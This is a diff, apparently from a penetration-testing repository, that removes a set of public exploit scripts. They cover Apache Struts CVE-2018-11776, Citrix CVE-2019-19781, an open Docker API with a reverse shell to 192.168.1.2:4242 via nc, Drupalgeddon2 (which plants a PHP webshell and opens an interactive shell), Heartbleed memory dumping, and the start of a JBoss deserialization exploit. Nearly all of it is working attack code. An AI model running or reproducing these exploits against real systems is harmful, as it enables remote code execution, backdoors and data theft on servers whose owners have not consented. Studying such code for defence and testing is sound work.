'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)',
|
||||
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
|
||||
'Accept': '*/*'
|
||||
}
|
||||
timeout = 3
|
||||
|
||||
|
||||
def parse_url(url):
|
||||
"""
|
||||
Parses the URL.
|
||||
"""
|
||||
|
||||
# url: http://example.com/demo/struts2-showcase/index.action
|
||||
|
||||
url = url.replace('#', '%23')
|
||||
url = url.replace(' ', '%20')
|
||||
|
||||
if ('://' not in url):
|
||||
url = str("http://") + str(url)
|
||||
scheme = urllib.parse.urlparse(url).scheme
|
||||
|
||||
# Site: http://example.com
|
||||
site = scheme + '://' + urllib.parse.urlparse(url).netloc
|
||||
|
||||
# FilePath: /demo/struts2-showcase/index.action
|
||||
file_path = urllib.parse.urlparse(url).path
|
||||
if (file_path == ''):
|
||||
file_path = '/'
|
||||
|
||||
# Filename: index.action
|
||||
try:
|
||||
filename = url.split('/')[-1]
|
||||
except IndexError:
|
||||
filename = ''
|
||||
|
||||
# File Dir: /demo/struts2-showcase/
|
||||
file_dir = file_path.rstrip(filename)
|
||||
if (file_dir == ''):
|
||||
file_dir = '/'
|
||||
|
||||
return({"site": site,
|
||||
"file_dir": file_dir,
|
||||
"filename": filename})
|
||||
|
||||
|
||||
def build_injection_inputs(url):
|
||||
"""
|
||||
Builds injection inputs for the check.
|
||||
"""
|
||||
|
||||
parsed_url = parse_url(url)
|
||||
injection_inputs = []
|
||||
url_directories = parsed_url["file_dir"].split("/")
|
||||
|
||||
try:
|
||||
url_directories.remove("")
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
for i in range(len(url_directories)):
|
||||
injection_entry = "/".join(url_directories[:i])
|
||||
|
||||
if not injection_entry.startswith("/"):
|
||||
injection_entry = "/%s" % (injection_entry)
|
||||
|
||||
if not injection_entry.endswith("/"):
|
||||
injection_entry = "%s/" % (injection_entry)
|
||||
|
||||
injection_entry += "{{INJECTION_POINT}}/" # It will be renderred later with the payload.
|
||||
injection_entry += parsed_url["filename"]
|
||||
|
||||
injection_inputs.append(injection_entry)
|
||||
|
||||
return(injection_inputs)
|
||||
|
||||
|
||||
def check(url):
|
||||
random_value = int(''.join(random.choice('0123456789') for i in range(2)))
|
||||
multiplication_value = random_value * random_value
|
||||
injection_points = build_injection_inputs(url)
|
||||
parsed_url = parse_url(url)
|
||||
print("[%] Checking for CVE-2018-11776")
|
||||
print("[*] URL: %s" % (url))
|
||||
print("[*] Total of Attempts: (%s)" % (len(injection_points)))
|
||||
attempts_counter = 0
|
||||
|
||||
for injection_point in injection_points:
|
||||
attempts_counter += 1
|
||||
print("[%s/%s]" % (attempts_counter, len(injection_points)))
|
||||
testing_url = "%s%s" % (parsed_url["site"], injection_point)
|
||||
testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value))
|
||||
try:
|
||||
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
|
||||
except Exception as e:
|
||||
print("EXCEPTION::::--> " + str(e))
|
||||
continue
|
||||
if "Location" in list(resp.headers.keys()):
|
||||
if str(multiplication_value) in resp.headers['Location']:
|
||||
print("[*] Status: Vulnerable!")
|
||||
return(injection_point)
|
||||
print("[*] Status: Not Affected.")
|
||||
return(None)
|
||||
|
||||
|
||||
def exploit(url, cmd):
|
||||
parsed_url = parse_url(url)
|
||||
|
||||
injection_point = check(url)
|
||||
if injection_point is None:
|
||||
print("[%] Target is not vulnerable.")
|
||||
return(0)
|
||||
print("[%] Exploiting...")
|
||||
|
||||
payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd)
|
||||
|
||||
testing_url = "%s%s" % (parsed_url["site"], injection_point)
|
||||
testing_url = testing_url.replace("{{INJECTION_POINT}}", payload)
|
||||
|
||||
try:
|
||||
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
|
||||
except Exception as e:
|
||||
print("EXCEPTION::::--> " + str(e))
|
||||
return(1)
|
||||
|
||||
print("[%] Response:")
|
||||
print(resp.text)
|
||||
return(0)
|
||||
|
||||
|
||||
def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
|
||||
if url:
|
||||
if not do_exploit:
|
||||
check(url)
|
||||
else:
|
||||
exploit(url, cmd)
|
||||
|
||||
if usedlist:
|
||||
URLs_List = []
|
||||
try:
|
||||
f_file = open(str(usedlist), "r")
|
||||
URLs_List = f_file.read().replace("\r", "").split("\n")
|
||||
try:
|
||||
URLs_List.remove("")
|
||||
except ValueError:
|
||||
pass
|
||||
f_file.close()
|
||||
except Exception as e:
|
||||
print("Error: There was an error in reading list file.")
|
||||
print("Exception: " + str(e))
|
||||
exit(1)
|
||||
for url in URLs_List:
|
||||
if not do_exploit:
|
||||
check(url)
|
||||
else:
|
||||
exploit(url, cmd)
|
||||
|
||||
print("[%] Done.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
|
||||
except KeyboardInterrupt:
|
||||
print("\nKeyboardInterrupt Detected.")
|
||||
print("Exiting...")
|
||||
exit(0)
|
||||
@@ -1,51 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# https://github.com/mpgn/CVE-2019-19781
|
||||
# # #
|
||||
|
||||
import requests
|
||||
import string
|
||||
import random
|
||||
import re
|
||||
import sys
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
|
||||
print("Found by Mikhail Klyuchnikov")
|
||||
print("")
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print("[-] No URL provided")
|
||||
sys.exit(0)
|
||||
|
||||
while True:
|
||||
try:
|
||||
command = input("command > ")
|
||||
|
||||
random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
|
||||
print("[+] Adding bookmark", random_xml + ".xml")
|
||||
|
||||
burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
|
||||
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
|
||||
random_xml, "NSC_NONCE": "c", "Connection": "close"}
|
||||
burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
|
||||
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)
|
||||
|
||||
if r.status_code == 200:
|
||||
print("[+] Bookmark added")
|
||||
else:
|
||||
print("\n[-] Target not vulnerable or something went wrong")
|
||||
sys.exit(0)
|
||||
|
||||
burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
|
||||
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
|
||||
random_xml, "NSC_NONCE": "c", "Connection": "close"}
|
||||
r = requests.get(burp0_url, headers=burp0_headers,verify=False)
|
||||
|
||||
replaced = re.sub('^&#.* $', '', r.text, flags=re.MULTILINE)
|
||||
print("[+] Result of the command: \n")
|
||||
print(replaced)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print("Exiting...")
|
||||
break
|
||||
@@ -1,49 +0,0 @@
|
||||
from __future__ import print_function
|
||||
import requests
|
||||
import logging
|
||||
import json
|
||||
import urllib.parse
|
||||
|
||||
# NOTE
|
||||
# Enable Remote API with the following command
|
||||
# /usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
|
||||
# This is an intended feature, remember to filter the port 2375..
|
||||
|
||||
name = "docker"
|
||||
description = "Docker RCE via Open Docker API on port 2375"
|
||||
author = "Swissky"
|
||||
|
||||
# Step 1 - Extract id and name from each container
|
||||
ip = "127.0.0.1"
|
||||
port = "2375"
|
||||
data = "containers/json"
|
||||
url = "http://{}:{}/{}".format(ip, port, data)
|
||||
r = requests.get(url)
|
||||
|
||||
if r.json:
|
||||
for container in r.json():
|
||||
container_id = container['Id']
|
||||
container_name = container['Names'][0].replace('/','')
|
||||
print((container_id, container_name))
|
||||
|
||||
# Step 2 - Prepare command
|
||||
cmd = '["nc", "192.168.1.2", "4242", "-e", "/bin/sh"]'
|
||||
data = "containers/{}/exec".format(container_name)
|
||||
url = "http://{}:{}/{}".format(ip, port, data)
|
||||
post_json = '{ "AttachStdin":false,"AttachStdout":true,"AttachStderr":true, "Tty":false, "Cmd":'+cmd+' }'
|
||||
post_header = {
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
r = requests.post(url, json=json.loads(post_json))
|
||||
|
||||
|
||||
# Step 3 - Execute command
|
||||
id_cmd = r.json()['Id']
|
||||
data = "exec/{}/start".format(id_cmd)
|
||||
url = "http://{}:{}/{}".format(ip, port, data)
|
||||
post_json = '{ "Detach":false,"Tty":false}'
|
||||
post_header = {
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
r = requests.post(url, json=json.loads(post_json))
|
||||
print(r)
|
||||
@@ -1,308 +0,0 @@
|
||||
#!/usr/bin/env ruby
|
||||
#
|
||||
# [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
|
||||
#
|
||||
# Authors:
|
||||
# - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
|
||||
# - g0tmi1k ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k
|
||||
#
|
||||
|
||||
|
||||
require 'base64'
|
||||
require 'json'
|
||||
require 'net/http'
|
||||
require 'openssl'
|
||||
require 'readline'
|
||||
|
||||
|
||||
# Settings - Proxy information (nil to disable)
|
||||
proxy_addr = nil
|
||||
proxy_port = 8080
|
||||
|
||||
|
||||
# Settings - General
|
||||
$useragent = "drupalgeddon2"
|
||||
webshell = "s.php"
|
||||
writeshell = true
|
||||
|
||||
|
||||
# Settings - Payload (we could just be happy without this, but we can do better!)
|
||||
#bashcmd = "<?php if( isset( $_REQUEST[c] ) ) { eval( $_GET[c]) ); } ?>'
|
||||
bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
|
||||
bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"
|
||||
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
# Function http_post <url> [post]
|
||||
def http_post(url, payload="")
|
||||
uri = URI(url)
|
||||
request = Net::HTTP::Post.new(uri.request_uri)
|
||||
request.initialize_http_header({"User-Agent" => $useragent})
|
||||
request.body = payload
|
||||
return $http.request(request)
|
||||
end
|
||||
|
||||
|
||||
# Function gen_evil_url <cmd>
|
||||
def gen_evil_url(evil, feedback=true)
|
||||
# PHP function to use (don't forget about disabled functions...)
|
||||
phpmethod = $drupalverion.start_with?('8')? "exec" : "passthru"
|
||||
|
||||
#puts "[*] PHP cmd: #{phpmethod}" if feedback
|
||||
puts "[*] Payload: #{evil}" if feedback
|
||||
|
||||
## Check the version to match the payload
|
||||
# Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render
|
||||
if $drupalverion.start_with?('8')
|
||||
# Method #1 - Drupal 8, mail, #post_render - response is 200
|
||||
url = $target + "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
|
||||
payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
|
||||
|
||||
# Method #2 - Drupal 8, timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!)
|
||||
#url = $target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
|
||||
#payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil
|
||||
elsif $drupalverion.start_with?('7')
|
||||
# Method #3 - Drupal 7, name, #post_render - response is 200
|
||||
url = $target + "?q=user/password&name[%23post_render][]=" + phpmethod + "&name[%23type]=markup&name[%23markup]=" + evil
|
||||
payload = "form_id=user_pass&_triggering_element_name=name"
|
||||
else
|
||||
puts "[!] Unsupported Drupal version"
|
||||
exit
|
||||
end
|
||||
|
||||
# Drupal v7 needs an extra value from a form
|
||||
if $drupalverion.start_with?('7')
|
||||
response = http_post(url, payload)
|
||||
|
||||
form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).to_s.strip
|
||||
puts "[!] WARNING: Didn't detect form_build_id" if form_build_id.empty?
|
||||
|
||||
#url = $target + "file/ajax/name/%23value/" + form_build_id
|
||||
url = $target + "?q=file/ajax/name/%23value/" + form_build_id
|
||||
payload = "form_build_id=" + form_build_id
|
||||
end
|
||||
|
||||
return url, payload
|
||||
end
|
||||
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
# Quick how to use
|
||||
if ARGV.empty?
|
||||
puts "Usage: ruby drupalggedon2.rb <target>"
|
||||
puts " ruby drupalgeddon2.rb https://example.com"
|
||||
exit
|
||||
end
|
||||
# Read in values
|
||||
$target = ARGV[0]
|
||||
|
||||
|
||||
# Check input for protocol
|
||||
if not $target.start_with?('http')
|
||||
$target = "http://#{$target}"
|
||||
end
|
||||
# Check input for the end
|
||||
if not $target.end_with?('/')
|
||||
$target += "/"
|
||||
end
|
||||
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
# Banner
|
||||
puts "[*] --==[::#Drupalggedon2::]==--"
|
||||
puts "-"*80
|
||||
puts "[*] Target : #{$target}"
|
||||
puts "[*] Write? : Skipping writing web shell" if not writeshell
|
||||
puts "-"*80
|
||||
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
# Setup connection
|
||||
uri = URI($target)
|
||||
$http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port)
|
||||
|
||||
|
||||
# Use SSL/TLS if needed
|
||||
if uri.scheme == "https"
|
||||
$http.use_ssl = true
|
||||
$http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
end
|
||||
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
# Try and get version
|
||||
$drupalverion = nil
|
||||
# Possible URLs
|
||||
url = [
|
||||
$target + "CHANGELOG.txt",
|
||||
$target + "core/CHANGELOG.txt",
|
||||
$target + "includes/bootstrap.inc",
|
||||
$target + "core/includes/bootstrap.inc",
|
||||
]
|
||||
# Check all
|
||||
url.each do|uri|
|
||||
# Check response
|
||||
response = http_post(uri)
|
||||
|
||||
if response.code == "200"
|
||||
puts "[+] Found : #{uri} (#{response.code})"
|
||||
|
||||
# Patched already?
|
||||
puts "[!] WARNING: Might be patched! Found SA-CORE-2018-002: #{url}" if response.body.include? "SA-CORE-2018-002"
|
||||
|
||||
# Try and get version from the file contents
|
||||
$drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip
|
||||
|
||||
# If not, try and get it from the URL
|
||||
$drupalverion = uri.match(/core/)? "8.x" : "7.x" if $drupalverion.empty?
|
||||
|
||||
# Done!
|
||||
break
|
||||
elsif response.code == "403"
|
||||
puts "[+] Found : #{uri} (#{response.code})"
|
||||
|
||||
# Get version from URL
|
||||
$drupalverion = uri.match(/core/)? "8.x" : "7.x"
|
||||
else
|
||||
puts "[!] MISSING: #{uri} (#{response.code})"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Feedback
|
||||
if $drupalverion
|
||||
status = $drupalverion.end_with?('x')? "?" : "!"
|
||||
puts "[+] Drupal#{status}: #{$drupalverion}"
|
||||
else
|
||||
puts "[!] Didn't detect Drupal version"
|
||||
puts "[!] Forcing Drupal v8.x attack"
|
||||
$drupalverion = "8.x"
|
||||
end
|
||||
puts "-"*80
|
||||
|
||||
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
|
||||
# Make a request, testing code execution
|
||||
puts "[*] Testing: Code Execution"
|
||||
# Generate a random string to see if we can echo it
|
||||
random = (0...8).map { (65 + rand(26)).chr }.join
|
||||
url, payload = gen_evil_url("echo #{random}")
|
||||
response = http_post(url, payload)
|
||||
if response.code == "200" and not response.body.empty?
|
||||
#result = JSON.pretty_generate(JSON[response.body])
|
||||
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
|
||||
puts "[+] Result : #{result}"
|
||||
|
||||
puts response.body.match(/#{random}/)? "[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!" : "[+] Target might to be exploitable?"
|
||||
else
|
||||
puts "[!] Target is NOT exploitable ~ HTTP Response: #{response.code}"
|
||||
exit
|
||||
end
|
||||
puts "-"*80
|
||||
|
||||
|
||||
# Location of web shell & used to signal if using PHP shell
|
||||
webshellpath = nil
|
||||
prompt = "drupalgeddon2"
|
||||
# Possibles paths to try
|
||||
paths = [
|
||||
"./",
|
||||
"./sites/default/",
|
||||
"./sites/default/files/",
|
||||
]
|
||||
# Check all
|
||||
paths.each do|path|
|
||||
puts "[*] Testing: File Write To Web Root (#{path})"
|
||||
|
||||
# Merge locations
|
||||
webshellpath = "#{path}#{webshell}"
|
||||
|
||||
# Final command to execute
|
||||
cmd = "#{bashcmd} | tee #{webshellpath}"
|
||||
|
||||
# Generate evil URLs
|
||||
url, payload = gen_evil_url(cmd)
|
||||
# Make the request
|
||||
response = http_post(url, payload)
|
||||
# Check result
|
||||
if response.code == "200" and not response.body.empty?
|
||||
# Feedback
|
||||
#result = JSON.pretty_generate(JSON[response.body])
|
||||
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
|
||||
puts "[+] Result : #{result}"
|
||||
|
||||
# Test to see if backdoor is there (if we managed to write it)
|
||||
response = http_post("#{$target}#{webshellpath}", "c=hostname")
|
||||
if response.code == "200" and not response.body.empty?
|
||||
puts "[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!"
|
||||
break
|
||||
else
|
||||
puts "[!] Target is NOT exploitable. No write access here!"
|
||||
end
|
||||
else
|
||||
puts "[!] Target is NOT exploitable for some reason ~ HTTP Response: #{response.code}"
|
||||
end
|
||||
webshellpath = nil
|
||||
end if writeshell
|
||||
puts "-"*80 if writeshell
|
||||
|
||||
if webshellpath
|
||||
# Get hostname for the prompt
|
||||
prompt = response.body.to_s.strip
|
||||
|
||||
# Feedback
|
||||
puts "[*] Fake shell: curl '#{$target}#{webshell}' -d 'c=whoami'"
|
||||
elsif writeshell
|
||||
puts "[!] FAILED: Coudn't find writeable web path"
|
||||
puts "[*] Dropping back direct commands (expect an ugly shell!)"
|
||||
end
|
||||
|
||||
|
||||
# Stop any CTRL + C action ;)
|
||||
trap("INT", "SIG_IGN")
|
||||
|
||||
|
||||
# Forever loop
|
||||
loop do
|
||||
# Default value
|
||||
result = "ERROR"
|
||||
|
||||
# Get input
|
||||
command = Readline.readline("#{prompt}>> ", true).to_s
|
||||
|
||||
# Exit
|
||||
break if command =~ /exit/
|
||||
|
||||
# Blank link?
|
||||
next if command.empty?
|
||||
|
||||
# If PHP shell
|
||||
if webshellpath
|
||||
# Send request
|
||||
result = http_post("#{$target}#{webshell}", "c=#{command}").body
|
||||
# Direct commands
|
||||
else
|
||||
url, payload = gen_evil_url(command, false)
|
||||
response = http_post(url, payload)
|
||||
if response.code == "200" and not response.body.empty?
|
||||
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
|
||||
end
|
||||
end
|
||||
|
||||
# Feedback
|
||||
puts result
|
||||
end
|
||||
@@ -1,216 +0,0 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
# Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org)
|
||||
# The author disclaims copyright to this source code.
|
||||
# Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)
|
||||
|
||||
from __future__ import print_function
|
||||
from builtins import str
|
||||
from builtins import range
|
||||
import sys
|
||||
import struct
|
||||
import socket
|
||||
import time
|
||||
import select
|
||||
import re
|
||||
from optparse import OptionParser
|
||||
import smtplib
|
||||
|
||||
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
|
||||
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
|
||||
options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)')
|
||||
options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)')
|
||||
options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true')
|
||||
options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)')
|
||||
|
||||
def h2bin(x):
|
||||
return x.replace(' ', '').replace('\n', '').decode('hex')
|
||||
|
||||
hello = h2bin('''
|
||||
16 03 02 00 dc 01 00 00 d8 03 02 53
|
||||
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
|
||||
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
|
||||
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
|
||||
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
|
||||
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
|
||||
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
|
||||
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
|
||||
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
|
||||
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
|
||||
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
|
||||
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
|
||||
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
|
||||
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
|
||||
00 0f 00 01 01
|
||||
''')
|
||||
|
||||
hbv10 = h2bin('''
|
||||
18 03 01 00 03
|
||||
01 40 00
|
||||
''')
|
||||
|
||||
hbv11 = h2bin('''
|
||||
18 03 02 00 03
|
||||
01 40 00
|
||||
''')
|
||||
|
||||
hbv12 = h2bin('''
|
||||
18 03 03 00 03
|
||||
01 40 00
|
||||
''')
|
||||
|
||||
def hexdump(s, dumpf, quiet):
|
||||
dump = open(dumpf,'a')
|
||||
dump.write(s)
|
||||
dump.close()
|
||||
if quiet: return
|
||||
for b in range(0, len(s), 16):
|
||||
lin = [c for c in s[b : b + 16]]
|
||||
hxdat = ' '.join('%02X' % ord(c) for c in lin)
|
||||
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
|
||||
print(' %04x: %-48s %s' % (b, hxdat, pdat))
|
||||
print()
|
||||
|
||||
def recvall(s, length, timeout=5):
|
||||
endtime = time.time() + timeout
|
||||
rdata = ''
|
||||
remain = length
|
||||
while remain > 0:
|
||||
rtime = endtime - time.time()
|
||||
if rtime < 0:
|
||||
if not rdata:
|
||||
return None
|
||||
else:
|
||||
return rdata
|
||||
r, w, e = select.select([s], [], [], 5)
|
||||
if s in r:
|
||||
data = s.recv(remain)
|
||||
# EOF?
|
||||
if not data:
|
||||
return None
|
||||
rdata += data
|
||||
remain -= len(data)
|
||||
return rdata
|
||||
|
||||
def recvmsg(s):
|
||||
hdr = recvall(s, 5)
|
||||
if hdr is None:
|
||||
print('Unexpected EOF receiving record header - server closed connection')
|
||||
return None, None, None
|
||||
typ, ver, ln = struct.unpack('>BHH', hdr)
|
||||
pay = recvall(s, ln, 10)
|
||||
if pay is None:
|
||||
print('Unexpected EOF receiving record payload - server closed connection')
|
||||
return None, None, None
|
||||
print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
|
||||
return typ, ver, pay
|
||||
|
||||
def hit_hb(s, dumpf, host, quiet):
|
||||
while True:
|
||||
typ, ver, pay = recvmsg(s)
|
||||
if typ is None:
|
||||
print('No heartbeat response received from '+host+', server likely not vulnerable')
|
||||
return False
|
||||
|
||||
if typ == 24:
|
||||
if not quiet: print('Received heartbeat response:')
|
||||
hexdump(pay, dumpf, quiet)
|
||||
if len(pay) > 3:
|
||||
print('WARNING: server '+ host +' returned more data than it should - server is vulnerable!')
|
||||
else:
|
||||
print('Server '+host+' processed malformed heartbeat, but did not return any extra data.')
|
||||
return True
|
||||
|
||||
if typ == 21:
|
||||
if not quiet: print('Received alert:')
|
||||
hexdump(pay, dumpf, quiet)
|
||||
print('Server '+ host +' returned error, likely not vulnerable')
|
||||
return False
|
||||
|
||||
def connect(host, port, quiet):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
if not quiet: print('Connecting...')
|
||||
sys.stdout.flush()
|
||||
s.connect((host, port))
|
||||
return s
|
||||
|
||||
def tls(s, quiet):
|
||||
if not quiet: print('Sending Client Hello...')
|
||||
sys.stdout.flush()
|
||||
s.send(hello)
|
||||
if not quiet: print('Waiting for Server Hello...')
|
||||
sys.stdout.flush()
|
||||
|
||||
def parseresp(s):
|
||||
while True:
|
||||
typ, ver, pay = recvmsg(s)
|
||||
if typ == None:
|
||||
print('Server closed connection without sending Server Hello.')
|
||||
return 0
|
||||
# Look for server hello done message.
|
||||
if typ == 22 and ord(pay[0]) == 0x0E:
|
||||
return ver
|
||||
|
||||
def check(host, port, dumpf, quiet, starttls):
|
||||
response = False
|
||||
if starttls:
|
||||
try:
|
||||
s = smtplib.SMTP(host=host,port=port)
|
||||
s.ehlo()
|
||||
s.starttls()
|
||||
except smtplib.SMTPException:
|
||||
print('STARTTLS not supported...')
|
||||
s.quit()
|
||||
return False
|
||||
print('STARTTLS supported...')
|
||||
s.quit()
|
||||
s = connect(host, port, quiet)
|
||||
s.settimeout(1)
|
||||
try:
|
||||
re = s.recv(1024)
|
||||
s.send('ehlo starttlstest\r\n')
|
||||
re = s.recv(1024)
|
||||
s.send('starttls\r\n')
|
||||
re = s.recv(1024)
|
||||
except socket.timeout:
|
||||
print('Timeout issues, going ahead anyway, but it is probably broken ...')
|
||||
tls(s,quiet)
|
||||
else:
|
||||
s = connect(host, port, quiet)
|
||||
tls(s,quiet)
|
||||
|
||||
version = parseresp(s)
|
||||
|
||||
if version == 0:
|
||||
if not quiet: print("Got an error while parsing the response, bailing ...")
|
||||
return False
|
||||
else:
|
||||
version = version - 0x0300
|
||||
if not quiet: print("Server TLS version was 1.%d\n" % version)
|
||||
|
||||
if not quiet: print('Sending heartbeat request...')
|
||||
sys.stdout.flush()
|
||||
if (version == 1):
|
||||
s.send(hbv10)
|
||||
response = hit_hb(s,dumpf, host, quiet)
|
||||
if (version == 2):
|
||||
s.send(hbv11)
|
||||
response = hit_hb(s,dumpf, host, quiet)
|
||||
if (version == 3):
|
||||
s.send(hbv12)
|
||||
response = hit_hb(s,dumpf, host, quiet)
|
||||
s.close()
|
||||
return response
|
||||
|
||||
def main():
|
||||
opts, args = options.parse_args()
|
||||
if len(args) < 1:
|
||||
options.print_help()
|
||||
return
|
||||
|
||||
print('Scanning ' + args[0] + ' on port ' + str(opts.port))
|
||||
for i in range(0,opts.num):
|
||||
check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -1,62 +0,0 @@
|
||||
#! /usr/bin/env python2
|
||||
|
||||
# Jboss Java Deserialization RCE (CVE-2015-7501)
|
||||
# Made with <3 by @byt3bl33d3r
|
||||
|
||||
from __future__ import print_function
|
||||
import requests
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
import argparse
|
||||
import sys, os
|
||||
#from binascii import hexlify, unhexlify
|
||||
from subprocess import check_output
|
||||
|
||||
ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
|
||||
ysoserial_path = None
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('target', type=str, help='Target IP')
|
||||
parser.add_argument('command', type=str, help='Command to run on target')
|
||||
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
|
||||
parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if not args.ysoserial_path:
|
||||
for path in ysoserial_default_paths:
|
||||
